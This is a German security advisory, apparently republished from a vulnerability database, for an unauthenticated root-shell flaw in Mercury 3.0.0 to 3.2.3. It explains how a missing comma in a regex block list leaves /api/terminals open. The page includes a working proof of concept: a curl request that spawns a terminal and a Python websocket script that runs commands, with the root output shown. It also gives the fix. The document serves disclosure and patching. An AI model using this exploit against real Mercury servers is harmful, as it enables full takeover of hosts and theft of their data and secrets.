Mercury: Nicht authentifizierte Remote-Code-Ausführung in /api/terminals durch Umgehung der Zugriffskontrolle
Zusammenfassung
Ein fehlendes Komma in der Liste BLOCKED_PATTERNS von mercury_app/block_handler.py führt dazu, dass die Sperrliste den Endpunkt /api/terminals nicht abdeckt. Dadurch kann jeder nicht authentifizierte Angreifer eine vollständige, interaktive Shell auf Betriebssystemebene auf dem Host starten, auf dem Mercury ausgeführt wird.
Details
Die Sperrliste in mercury_app/block_handler.py ist wie folgt definiert:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Das fehlende Komma zwischen der ersten und der zweiten Zeile führt dazu, dass Python die Regeln zusammenfügt, sodass die tatsächlich blockierte Liste wie folgt aussieht:
/lab...(?:/.*)?/api/terminals(?:/.*)? (die ersten beiden Zeilen zusammengefügt)
/api/shutdown(?:/.*)?
/files(?:/.*)?
Eine direkte Anfrage an /api/terminals entspricht keiner der Blockierungsregeln von 3 und wird daher nicht blockiert. Sie erreicht die integrierte Terminal-API von Jupyter Server, die eine über eine WebSocket-Verbindung zugängliche echte Betriebssystem-Shell startet. Es ist keine Authentifizierung, kein Konto, keine Sitzung oder ein vorheriger Zugriff auf Mercury erforderlich.
Proof of Concept (PoC)
Die Tests wurden auf einem lokalen Docker-Deployment durchgeführt (https://runmercury.com/deploy/dockerfile/), Mercury-Version 3.2.3, Standardkonfiguration).
Schritt 1 - Terminal starten:
curl -i -X POST http://localhost:8888/api/terminals
Antwort: {"name": "1", "last_activity": "..."}
Schritt 2 - Mit dem Terminal verbinden und Befehle ausführen:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Beobachtete Ausgabe:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Dies bestätigt den vollständigen, interaktiven Root-Shell-Zugriff ohne jegliche Authentifizierung oder vorherigen Zugriff.
Auswirkungen
- Vertraulichkeit: Vollständiger Lesezugriff auf jede Datei, auf die der Mercury-Prozess zugreifen kann (Notebooks, hochgeladene Daten, Umgebungsvariablen, Secrets).
- Integrität: Ein Angreifer kann jede Datei ändern oder löschen, einschließlich der für andere Benutzer bereitgestellten Notebooks.
- Verfügbarkeit: Ein Angreifer kann den Server/Container herunterfahren oder zum Absturz bringen.
- Seitliche Bewegung (Lateral Movement): Die Shell kann als Ausgangspunkt genutzt werden, um andere Systeme anzugreifen, die über das Netzwerk des Hosts erreichbar sind.
Ausnutzbar durch jeden Netzwerk-Client, der den Mercury-Server erreichen kann, einschließlich über das öffentliche Internet, wenn dieser ohne zusätzliche Zugriffskontrollen (VPN, Reverse-Proxy-Authentifizierung, Firewall) bereitgestellt wird.
Behebung
Fügen Sie das fehlende Komma hinzu, sodass /api/terminals zu einer eigenständigen Blocklist-Regel wird:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Was zu tun ist
Aktualisieren Sie auf Mercury Version 3.2.4 oder neuer.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | mercury | >= 3.0.0, < 3.2.4 | 3.2.4 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Schwäche (CWE)
CWE-185, CWE-284- Plattform
- Python (PyPI)
- Paket
mercury- Veröffentlicht
- 19.10.2026
- Aktualisiert
- 20.10.2026 09:54
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-f8c7-rwf9-fmgm - CC BY 4.0
Schwachstellenhistorie: mercury
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 10.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
Veröffentlichungen pro Jahr
- 2026: 2
-
Mercury: Nicht authentifizierte Remote-Code-Ausführung in /api/terminals durch Umgehung der Zugriffskontrolle dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.